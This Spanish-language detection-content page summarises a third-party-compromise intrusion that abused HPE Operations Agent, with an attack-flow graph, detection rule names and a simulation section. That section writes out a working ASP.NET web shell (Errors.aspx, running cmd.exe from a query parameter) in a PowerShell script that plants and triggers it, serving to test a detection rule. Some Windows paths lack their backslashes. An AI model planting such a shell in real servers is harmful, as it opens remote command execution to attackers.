Investigando una Intrusión Sigilosa a través de la Compromiso de un Tercero
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El informe examina una intrusión sigilosa en la que actores de amenazas comprometieron a un proveedor de servicios de TI de terceros y luego abusaron del legítimo Agente de Operaciones de HPE para desplegar web shells, DLLs para robo de credenciales y utilidades de túnel. Al depender de software de administración confiable en lugar de una explotación ruidosa, los atacantes pudieron mantener acceso a largo plazo mientras minimizaban los signos evidentes de compromiso.
Investigación
Microsoft Incident Response rastreó la actividad desde el despliegue inicial del web shell en servidores expuestos a Internet hasta la ejecución de VBScript a través del Agente de Operaciones de HPE. La investigación luego descubrió el registro de proveedores de red maliciosos y DLLs de filtros de contraseñas en controladores de dominio, seguido por el reutilización de credenciales colectadas y el uso de túneles ngrok para facilitar el movimiento lateral a través del entorno.
Mitigación
Las defensas recomendadas incluyen reducir y controlar estrictamente el acceso confiable de terceros, monitorear el registro no autorizado de DLLs en paquetes de notificación LSA, detectar cambios sospechosos en web shells, hacer cumplir un filtrado estricto de salida, y asegurar la cobertura de EDR en todos los endpoints.
Respuesta
Si se detecta esta actividad, debe aislar los sistemas comprometidos, eliminar los DLLs maliciosos y los web shells, revocar cualquier credencial robada, deshabilitar proveedores de red no autorizados, y buscar movimiento lateral utilizando los artefactos recopilados.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#e6e6e6 classDef malware fill:#ff9999 %% Nodes u2013 Initial Access action_initial_trusted["<b>Acción</b> – <b>T1199 Relación Confiable</b><br/>Comprometer proveedor de servicios de TI de terceros y usar Agente de Operaciones de HPE confiable para ejecutar código malicioso."] class action_initial_trusted action tool_hpe_oa["<b>Herramienta</b> – <b>Nombre</b>: Agente de Operaciones de HPE (OA)<br/><b>Propósito</b>: Agente legítimo utilizado para ejecutar scripts en servidores objetivo."] class tool_hpe_oa tool %% Nodes u2013 Execution action_execution_vbscript["<b>Acción</b> – Ejecución de VBScripts (T1059.005)<br/>Ejecutar <i>abc003.vbs</i> para descubrimiento del sistema, red y AD."] class action_execution_vbscript action file_abc003["<b>Archivo</b> – <b>Nombre</b>: abc003.vbs<br/><b>Tipo</b>: Visual Basic Script"] class file_abc003 file %% Nodes u2013 Persistence (Web Shell) action_persistence_webshell["<b>Acción</b> – <b>T1505.003 Componente de Software del Servidor: Web Shell</b><br/>Desplegar <i>Errors.aspx</i> y <i>Signoff.aspx</i> web shells en servidores expuestos a Internet."] class action_persistence_webshell action file_errors["<b>Archivo</b> – <b>Nombre</b>: Errors.aspx<br/><b>Función</b>: Web shell de ejecución remota de comandos."] class file_errors file file_signoff["<b>Archivo</b> – <b>Nombre</b>: Signoff.aspx<br/><b>Función</b>: Web shell de ejecución remota de comandos."] class file_signoff file %% Nodes u2013 Persistence (Network Provider DLL) action_persistence_np_dll["<b>Acción</b> – <b>T1556.008 Proveedor de Red DLL</b><br/>Registrar <i>mslogon.dll</i> maliciosa en controladores de dominio para capturar credenciales en texto claro."] class action_persistence_np_dll action file_mslogon["<b>Archivo</b> – <b>Nombre</b>: mslogon.dll<br/><b>Localización</b>: C:UsersPublicMusicabc123c.d"] class file_mslogon file %% Nodes u2013 Persistence (Password Filter DLL) action_persistence_passdll["<b>Acción</b> – <b>T1556.002 Filtro de Contraseña DLL</b><br/>Agregar <i>passms.dll</i> como paquete de notificación LSA en DC01/DC02 para interceptar cambios de contraseña."] class action_persistence_passdll action file_passms["<b>Archivo</b> – <b>Nombre</b>: passms.dll<br/><b>Localización</b>: C:ProgramDataWindowsUpdateServiceUpdateDirIpd"] class file_passms file %% Nodes u2013 Credential Access (Files) action_cred_in_files["<b>Acción</b> – <b>T1552.001 Credenciales en Archivos</b><br/>Almacenar credenciales recolectadas en archivos en texto claro o codificados en disco."] class action_cred_in_files action %% Nodes u2013 Credential Access (OS Dumping) action_os_credential_dump["<b>Acción</b> – <b>T1003 Volcado de Credenciales del SO</b><br/>Intercepción basada en DLL proporciona extracción de credenciales sin herramientas externas."] class action_os_credential_dump action %% Nodes u2013 Lateral Movement (Valid Accounts) action_lateral_local["<b>Acción</b> – <b>T1078.003 Cuentas Válidas: Cuentas Locales</b><br/>Reutilizar credenciales recopiladas para autenticarse vía RDP y SMB."] class action_lateral_local action %% Nodes u2013 Lateral Movement (Remote Services) action_lateral_remote["<b>Acción</b> – <b>T1021 Servicios Remotos</b><br/>Establecer sesiones de RDP sobre túneles ngrok cifrados para desplazarse lateralmente."] class action_lateral_remote action %% Nodes u2013 Command & Control (Proxy) action_c2_proxy["<b>Acción</b> – <b>T1090 Proxy</b><br/>Desplegar ngrok como proxy multipuente para crear canales de C2 encubiertos."] class action_c2_proxy action tool_ngrok["<b>Herramienta</b> – <b>Nombre</b>: ngrok<br/><b>Propósito</b>: Crear túneles TCP/HTTPS para el transporte de tráfico."] class tool_ngrok tool %% Nodes u2013 Command & Control (Protocol Tunneling) action_c2_tunnel["<b>Acción</b> – <b>T1572 Túnel de Protocolo</b><br/>Encapsular tráfico de C2 dentro de túneles ngrok para evadir detección."] class action_c2_tunnel action %% Nodes u2013 Collection (Network Shared Drive) action_collection_share["<b>Acción</b> – <b>T1039 Datos de Unidad de Red Compartida</b><br/>Preparar archivos de credenciales codificados en SMB compartidos remotos antes de la exfiltración."] class action_collection_share action %% Nodes u2013 Defense Evasion (DLL Hijack) action_defense_dll["<b>Acción</b> – <b>T1574.001 Secuestro del Flujo de Ejecución: DLL</b><br/><i>msupdate.dll</i> exfiltra datos vía SMTP y SMB, disfrazados de archivos de imagen."] class action_defense_dll action file_msupdate["<b>Archivo</b> – <b>Nombre</b>: msupdate.dll<br/><b>Carga Útil</b>: Datos codificados enviados como icon02.jpeg."] class file_msupdate file %% Nodes u2013 Persistence (Winlogon Helper DLL) action_persistence_winlogon["<b>Acción</b> – <b>T1547.004 DLL de Ayudante de Winlogon</b><br/>Registrar <i>mslogon.dll</i> como ayudante de Winlogon para asegurar la ejecución al iniciar sesión."] class action_persistence_winlogon action %% Connections u2013 Attack Flow action_initial_trusted –>|usa| tool_hpe_oa tool_hpe_oa –>|ejecuta| action_execution_vbscript action_execution_vbscript –>|ejecuta| file_abc003 action_execution_vbscript –>|conduce a| action_persistence_webshell action_persistence_webshell –>|crea| file_errors action_persistence_webshell –>|crea| file_signoff action_persistence_webshell –>|habilita| action_persistence_np_dll action_persistence_np_dll –>|instala| file_mslogon action_persistence_np_dll –>|habilita| action_persistence_passdll action_persistence_passdll –>|instala| file_passms action_persistence_passdll –>|almacena| action_cred_in_files action_cred_in_files –>|proporciona datos para| action_os_credential_dump action_os_credential_dump –>|habilita| action_lateral_local action_lateral_local –>|usa| action_lateral_remote action_lateral_remote –>|utiliza| tool_ngrok tool_ngrok –>|facilita| action_c2_proxy action_c2_proxy –>|habilita| action_c2_tunnel action_c2_tunnel –>|apoya| action_collection_share action_collection_share –>|proporciona archivos para| action_defense_dll action_defense_dll –>|usa| file_msupdate action_defense_dll –>|apoya| action_persistence_winlogon action_persistence_winlogon –>|depende de| file_mslogon %% Estilización class action_initial_trusted,action_execution_vbscript,action_persistence_webshell,action_persistence_np_dll,action_persistence_passdll,action_cred_in_files,action_os_credential_dump,action_lateral_local,action_lateral_remote,action_c2_proxy,action_c2_tunnel,action_collection_share,action_defense_dll,action_persistence_winlogon action class tool_hpe_oa,tool_ngrok tool class file_abc003,file_errors,file_signoff,file_mslogon,file_passms,file_msupdate file "
Flujo de ataque
Detecciones
LOLBAS WScript / CScript (vía process_creation)
Ver
Posibles Indicadores de Ofuscación de Powershell (vía powershell)
Ver
Posibles Cambios en el Registro para el Volcado de Credenciales (vía registry_event)
Ver
Posible Enumeración de Active Directory con Módulo AD DirectorySearcher (vía powershell)
Ver
Detección de Web Shells Errors.aspx y Signoff.aspx Modificado [Servidor Web]
Ver
Detección de Paquetes de Notificación LSA Maliciosos para Intercepción de Credenciales [Evento del Registro de Windows]
Ver
Ejecución de Simulación
Prerrequisito: La Verificación Previa de Telemetría y Línea Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (T1199) diseñada para activar la regla de detección. Los comandos y la narración DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa del Ataque y Comandos:
- Compromiso Inicial: El atacante obtiene acceso de escritura al directorio raíz web (por ejemplo, mediante una credencial robada o un punto de carga vulnerable).
- Despliegue de Web-Shell: Suben un web-shell malicioso de ASP.NET llamado Errors.aspx (o modificado un existente Signoff.aspx) que ejecuta comandos PowerShell arbitrarios suministrados a través de la cadena de consulta.
- Activación del Shell: El atacante envía una solicitud HTTP GET al shell con una carga útil de PowerShell en el
cmdparámetro, por ejemplo,https://corp.example.com/Errors.aspx?cmd=whoami. Esta solicitud es registrada por IIS, produciendo un valor decs-uri-stemde/Errors.aspx– exactamente lo que coincide con la regla Sigma.
-
Script de Prueba de Regresión: El script reproduce los pasos 2‑3 (la carga es simulada copiando un archivo preelaborado en el directorio raíz web; la activación se realiza a través de
Invoke-WebRequest).# ------------------------------------------------- # Script de Simulación de Web‑Shell – Servidor Windows/IIS # ------------------------------------------------- param ( [string]$WebRoot = "C:inetpubwwwroot", [string]$ShellName = "Errors.aspx", [string]$Payload = "whoami" ) # 1. Desplegar un web‑shell simple de ASP.NET (mínimo para prueba) $shellContent = @" <%@ Page Language="C#" %> <% string cmd = Request.QueryString["cmd"]; if (!String.IsNullOrEmpty(cmd)) { System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd); } %> "@ $shellPath = Join-Path $WebRoot $ShellName Set-Content -Path $shellPath -Value $shellContent -Encoding UTF8 -Force Write-Host "[+] Desplegado web‑shell en $shellPath" # 2. Darle un momento al servidor web para registrar el nuevo archivo Start-Sleep -Seconds 2 # 3. Invocar al web‑shell para generar la entrada en el log que activa la detección $uri = "http://localhost/$ShellName?cmd=$Payload" Invoke-WebRequest -Uri $uri -UseBasicParsing | Out-Null Write-Host "[+] Web‑shell activado a través de $uri" # ------------------------------------------------- -
Comandos de Limpieza: Eliminar el web‑shell de prueba y cualquier archivo residual.
# Script de limpieza – eliminar el web‑shell simulado param ( [string]$WebRoot = "C:inetpubwwwroot", [string]$ShellName = "Errors.aspx" ) $shellPath = Join-Path $WebRoot $ShellName if (Test-Path $shellPath) { Remove-Item -Path $shellPath -Force Write-Host "[+] Eliminado $shellPath" } else { Write-Host "[-] Archivo del Shell no encontrado; nada que limpiar." }